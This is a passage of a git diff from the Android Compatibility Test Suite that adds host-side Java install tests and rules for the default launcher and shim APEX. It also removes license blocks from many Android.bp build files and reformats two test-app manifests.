+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.rules.ExternalResource;
+
+/**
+ * Changes default launcher with {@link #mTestLauncher} while testing. Restores to default
+ * launcher after test finished.
+ */
+final class LauncherRule extends ExternalResource {
+    private final BaseHostJUnit4Test mHostTest;
+    private final String mTestLauncher;
+
+    /**
+     * This value will be used to reset the default launcher to its correct component upon test
+     * completion.
+     */
+    private String mDefaultLauncher = null;
+
+    /**
+     * Constructs {@link LauncherRule} instance.
+     *
+     * @param hostTest Test to apply this rule.
+     * @param testLauncher Component name of customized launcher to set as default while testing.
+     */
+    LauncherRule(BaseHostJUnit4Test hostTest, String testLauncher) {
+        mHostTest = hostTest;
+        mTestLauncher = testLauncher;
+    }
+
+
+    protected void before() throws Throwable {
+        mDefaultLauncher = fetchDefaultLauncher();
+        setDefaultLauncher(mTestLauncher);
+    }
+
+    protected void after() {
+        try {
+            setDefaultLauncher(mDefaultLauncher);
+        } catch (DeviceNotAvailableException e) {
+            e.printStackTrace();
+        }
+    }
+
+    /** Fetches the component name of the default launcher. Assert error if no launcher found. */
+    private String fetchDefaultLauncher() throws DeviceNotAvailableException {
+        final String PREFIX = "Launcher: ComponentInfo{";
+        final String POSTFIX = "}";
+        for (String s : mHostTest.getDevice().executeShellCommand(
+                "cmd shortcut get-default-launcher").split("\n")) {
+            if (s.startsWith(PREFIX) && s.endsWith(POSTFIX)) {
+                return s.substring(PREFIX.length(), s.length() - POSTFIX.length());
+            }
+        }
+        throw new AssertionError("No default launcher found");
+    }
+
+    /**
+     * Set the default launcher to a given component.
+     * If set to the broadcast receiver component of this test app, this will allow the test app to
+     * receive SESSION_COMMITTED broadcasts.
+     */
+    private void setDefaultLauncher(String launcherComponent) throws DeviceNotAvailableException {
+        assertThat(launcherComponent).isNotEmpty();
+        mHostTest.getDevice().executeShellCommand(
+                "cmd package set-home-activity " + launcherComponent);
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
new file mode 100644
index 0000000..3c67a10
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class SamegradeTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+    private static final String ARRANGE_PHASE = "arrange_phase";
+    private static final String ASSERT_POST_ARRANGE_PHASE = "assert_postArrange_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ACTION_SYSTEMAPEX_PHASE = "action_systemApex_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String ASSERT_SYSTEMAPEX_REBOOT_PHASE =
+            "assert_systemApex_postReboot_phase";
+    private static final String ASSERT_PHASE = "assert_phase";
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean enableRollback : booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    /**
+     * Samegrading on a non-APEX install type should be success.
+     */
+    @Test
+    public void testNonStagedSamegrade() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ACTION_PHASE);
+
+        runPhase(ASSERT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedSameGrade() throws Exception {
+        assumeTrue(mInstallType.containsApex());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ACTION_PHASE);
+
+        runStagedPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedSamegradeSystemApex() throws Exception {
+        assumeTrue(mInstallType.containsApex());
+
+        runStagedPhase(ACTION_SYSTEMAPEX_PHASE);
+        getDevice().reboot();
+
+        runStagedPhase(ASSERT_SYSTEMAPEX_REBOOT_PHASE);
+    }
+
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, false /* staged */);
+    }
+
+    private void runStagedPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, true /* staged */);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase", true);</code>
+     */
+    private void runPhase(String phase, boolean staged) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, staged, mEnableRollback)))
+                .isTrue();
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/ShimApexRule.java b/hostsidetests/install/src/android/cts/install/host/ShimApexRule.java
new file mode 100644
index 0000000..4641aaa
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/ShimApexRule.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.ddmlib.Log;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.rules.ExternalResource;
+
+/**
+ * Clears shim Apex if needed before and after each test to prevent flaky and reduce
+ * reboot time.
+ */
+final class ShimApexRule extends ExternalResource {
+    private static final String TAG = ShimApexRule.class.getSimpleName();
+    private final BaseHostJUnit4Test mHostTest;
+
+    ShimApexRule(BaseHostJUnit4Test hostTest) {
+        mHostTest = hostTest;
+    }
+
+    @Override
+    protected void before() throws Throwable {
+        uninstallShimApexIfNecessary();
+    }
+
+    @Override
+    protected void after() {
+        try {
+            uninstallShimApexIfNecessary();
+        } catch (DeviceNotAvailableException e) {
+            e.printStackTrace();
+        }
+    }
+
+    /**
+     * Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
+     * it has a version higher than {@code 1}).
+     *
+     * <p>This is purely to optimize tests run time. Since uninstalling an apex requires a reboot,
+     * and only a small subset of tests successfully install an apex, this code avoids ~10
+     * unnecessary reboots.
+     */
+    private void uninstallShimApexIfNecessary() throws DeviceNotAvailableException {
+        if (!isUpdatingApexSupported()) {
+            // Device doesn't support updating apex. Nothing to uninstall.
+            return;
+        }
+        if (getShimApex().sourceDir.startsWith("/system")) {
+            // System version is active, nothing to uninstall.
+            return;
+        }
+        // Non system version is active, need to uninstall it and reboot the device.
+        Log.i(TAG, "Uninstalling shim apex");
+        final String errorMessage =
+                mHostTest.getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
+        if (errorMessage != null) {
+            Log.e(TAG, "Failed to uninstall " + SHIM_APEX_PACKAGE_NAME + " : " + errorMessage);
+            return;
+        }
+
+        mHostTest.getDevice().reboot();
+        ITestDevice.ApexInfo shim = getShimApex();
+        assertThat(shim.versionCode).isEqualTo(1L);
+        assertThat(shim.sourceDir).startsWith("/system");
+    }
+
+    boolean isUpdatingApexSupported() throws DeviceNotAvailableException {
+        final String updatable = mHostTest.getDevice().getProperty("ro.apex.updatable");
+        return updatable != null && updatable.equals("true");
+    }
+
+    private ITestDevice.ApexInfo getShimApex() throws DeviceNotAvailableException {
+        return mHostTest.getDevice().getActiveApexes().stream().filter(
+                apex -> apex.name.equals(SHIM_APEX_PACKAGE_NAME)).findAny().orElseThrow(
+                () -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
new file mode 100644
index 0000000..cf58863
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class UpgradeTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+    private static final String ARRANGE_PHASE = "arrange_phase";
+    private static final String ASSERT_POST_ARRANGE_PHASE = "assert_postArrange_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ASSERT_PHASE = "assert_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean enableRollback : booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    @Test
+    public void testNonStagedUpgrade() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ACTION_PHASE);
+
+        runPhase(ASSERT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedUpgrade() throws Exception {
+        assumeTrue(mInstallType.containsApex());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ACTION_PHASE);
+
+        runStagedPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, false /* staged */);
+    }
+
+    private void runStagedPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, true /* staged */);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase", true);</code>
+     */
+    private void runPhase(String phase, boolean staged) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, staged, mEnableRollback)))
+                .isTrue();
+    }
+}
diff --git a/hostsidetests/jdwpsecurity/Android.bp b/hostsidetests/jdwpsecurity/Android.bp
index 1575dbe..9eedf9a 100644
--- a/hostsidetests/jdwpsecurity/Android.bp
+++ b/hostsidetests/jdwpsecurity/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJdwpSecurityHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/jdwpsecurity/app/Android.bp b/hostsidetests/jdwpsecurity/app/Android.bp
index 672d4f1..93761b6 100644
--- a/hostsidetests/jdwpsecurity/app/Android.bp
+++ b/hostsidetests/jdwpsecurity/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "CtsJdwpApp",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/jdwptunnel/Android.bp b/hostsidetests/jdwptunnel/Android.bp
index b32d2ff..a840b04 100644
--- a/hostsidetests/jdwptunnel/Android.bp
+++ b/hostsidetests/jdwptunnel/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJdwpTunnelHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
index 2ca5190..8f8f20f 100644
--- a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libDdmsTestAgent",
 
diff --git a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
index 1e815ab..384ee5f 100644
--- a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJdwpTunnelDebuggableSampleApp",
 
diff --git a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml
index 2e2d2dd..3d85039 100755
--- a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml
+++ b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jdwptunnel.sampleapp.debuggable">
+     package="android.jdwptunnel.sampleapp.debuggable">
 
     <application android:debuggable="true">
-        <activity android:name=".DebuggableSampleDeviceActivity" >
+        <activity android:name=".DebuggableSampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
index 2bd5e90..b78236a 100644
--- a/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJdwpTunnelProfileableSampleApp",
 
diff --git a/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml b/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml
index eb73f5d..678e60f 100755
--- a/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml
+++ b/hostsidetests/jdwptunnel/sampleapps/profileableapp/AndroidManifest.xml
@@ -16,17 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jdwptunnel.sampleapp.profileable">
+     package="android.jdwptunnel.sampleapp.profileable">
 
     <application android:debuggable="false">
-        <activity android:name=".ProfileableSampleDeviceActivity" >
+        <activity android:name=".ProfileableSampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-       <profileable android:shell="true" />
+       <profileable android:shell="true"/>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.bp b/hostsidetests/jvmti/allocation-tracking/Android.bp
index b74f19a..dce3d16 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.bp
+++ b/hostsidetests/jvmti/allocation-tracking/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiTrackingHostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.bp b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
index 821d21d..6e42781 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.bp
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiTrackingDeviceApp",
     dex_preopt: {
diff --git a/hostsidetests/jvmti/attaching/Android.bp b/hostsidetests/jvmti/attaching/Android.bp
index 0147b329..3d50f4a 100644
--- a/hostsidetests/jvmti/attaching/Android.bp
+++ b/hostsidetests/jvmti/attaching/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiAttachingDeviceApp",
     dex_preopt: {
diff --git a/hostsidetests/jvmti/base/app/Android.bp b/hostsidetests/jvmti/base/app/Android.bp
index 3d496e7..246fc27 100644
--- a/hostsidetests/jvmti/base/app/Android.bp
+++ b/hostsidetests/jvmti/base/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsJvmtiDeviceAppBase",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/jvmti/base/host/Android.bp b/hostsidetests/jvmti/base/host/Android.bp
index 7fda27a..5ea9747 100644
--- a/hostsidetests/jvmti/base/host/Android.bp
+++ b/hostsidetests/jvmti/base/host/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "CtsJvmtiHostTestBase",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/jvmti/base/jni/Android.bp b/hostsidetests/jvmti/base/jni/Android.bp
index 9a6f0c8..be7da74 100644
--- a/hostsidetests/jvmti/base/jni/Android.bp
+++ b/hostsidetests/jvmti/base/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libctsjvmtiagent",
 
diff --git a/hostsidetests/jvmti/base/run-test-based-app/Android.bp b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
index 190e26f..8d17dd1 100644
--- a/hostsidetests/jvmti/base/run-test-based-app/Android.bp
+++ b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsJvmtiDeviceRunTestAppBase",
     srcs: [
diff --git a/hostsidetests/jvmti/redefining/Android.bp b/hostsidetests/jvmti/redefining/Android.bp
index 4816fd8..7bb3d1f 100644
--- a/hostsidetests/jvmti/redefining/Android.bp
+++ b/hostsidetests/jvmti/redefining/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRedefineClassesHostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/redefining/app/Android.bp b/hostsidetests/jvmti/redefining/app/Android.bp
index ba87ac9..f6eaa91 100644
--- a/hostsidetests/jvmti/redefining/app/Android.bp
+++ b/hostsidetests/jvmti/redefining/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRedefineClassesDeviceApp",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/jvmti/run-tests/Android.bp b/hostsidetests/jvmti/run-tests/Android.bp
index c96125e..63e2bf7 100644
--- a/hostsidetests/jvmti/run-tests/Android.bp
+++ b/hostsidetests/jvmti/run-tests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_defaults {
     name: "cts-run-jvmti-defaults",
     dex_preopt: {
diff --git a/hostsidetests/jvmti/run-tests/test-1900/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
index 4b6326f..62ed6fa 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1900HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
index ed12ad7..7f66aa6 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1900DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1901/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
index 928ae4f..e4dca54 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1901HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
index 66159a8..30362dc 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1901DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1902/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
index a2a4e8d..e9a84ad 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1902HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
index ab6a6cb..b4c7e96 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1902DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1903/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
index f583f8e..652d251 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/Android.bp
